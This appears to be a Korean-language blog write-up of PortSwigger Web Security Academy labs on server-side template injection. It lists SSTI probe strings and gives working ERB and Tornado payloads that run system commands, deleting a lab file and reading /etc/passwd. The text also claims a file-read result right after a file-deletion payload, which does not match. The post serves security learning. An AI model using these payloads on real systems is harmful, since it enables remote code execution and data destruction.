본 글은 보안 학습 및 연구 목적으로 작성되었으며, 허가되지 않은 시스템에 대한 공격 또는 테스트는 관련 법령에 따라 처벌될 수 있습니다. 학습 목적으로 작성된 본 글의 내용을 이용하여 위법 행위를 할 경우, 그로 인해 발생하는 모든 책임은 해당 행위를 수행한 당사자에게 있으며, 본 글의 작성자는 이에 대해 책임을 지지 않습니다.
해당 글은 PortSwigger Web Security Academy 실습 내용을 정리한것입니다.
Server-Side Template Injection
server side template injection은 template inejction을 통해 서버측에서 악성 페이로드를 실행 가능한 취약점을 말한다. template은 문자열 형식인데, 개발자들이 user input을 template 문자열에 concatination해서 취약점이 발생한다. 이러한 점은 sql injection과 매우 유사하다. 단, template injection할때 user controllable data가 template expression안에 있는 경우 template 문법에 맞게 code context를 고려해야한다. 만약 서버에 전달하는 값이 "value1.value2" 형식이면 그런 경우라고 유추해볼 수 있다.
Lab: Basic server-side template injection
{{ 7*7 }}
${ 7*7 }
#{ 7*7 }
<%= 7*7 %>
{ 7*7 }
{{= 7*7 }}
{= 7*7 }
\n= 7*7 \n
*{ 7*7 }
@{ 7*7 }
@( 7*7 )
${{<%[%'"}}%\.
SSTI 여부를 확인하기 위해 message parameter에 위의 payload로 테스트했고, <%= 7*7 %> 입력일 떄, 49로 렌더링 된것을 확인했다. 해당 문법은 Ruby와 함께 사용되는 ERB template engine으로 유추할 수 있었다.

/?message=<%25%3d+system('rm+/home/carlos/morale.txt')+%25>
그래서 message 파라미터에 위와 같은 페이로드를 전송하면, 해당 문제를 풀 수 있다.
/etc/passwd 파일내용을 성공적으로 읽을 수 있었다.
Lab: Basic server-side template injection (code context)
해당 웹사이트에는 preferred_name을 설정하는 기능이 있었고, 해당 설정에서 firstname, nickname 등 중으로 하나 선택할 수 있다. 이때, blog-post-author-display 변수를 통해 요청이 수행된다.

blog-post-author-display 파라미터 값으로 user.name을 하면 user name이 출력된다. 유효하지 않는 입력값으로 바꿔 에러기반으로 tornado template engine을 사용하는 것을 확인할 수 있다. {{ 7 *7 }}를 넣었을떄 49가 나와야하는데 {{ 49 }}가 표시되었고, 이를 통해 "{{"+ input + "}}" 식으로 작성되었음을 알 수 있다. 따라서, 입력값을 user.name 대신 "7*7 }} {% import os %} {{os.system('cat /etc/passwd')" 로 주었고, 문자열 연접 결과 "{{ 7*7 }} {% import os %} {{os.system('cat /etc/passwd')}}"로 문법적으로 올바른 구문이 완성된다.

실행 결과 성공적으로 파일 내용을 읽는 것을 확인할 수 있다.
References
'Security Engineering > Web, Mobile Security' 카테고리의 다른 글
| [PortSwigger] XML external entity Injection (0) | 2026.03.20 |
|---|---|
| [PortSwigger] Cross-site scripting (0) | 2026.02.27 |
| [PortSwigger] Web cache poisoning (0) | 2026.02.20 |
| [PortSwigger] JWT attacks (0) | 2026.02.13 |
| [BSCP] Burp Suite Certified Practitioner | Practitioner Lab (1) | 2026.02.03 |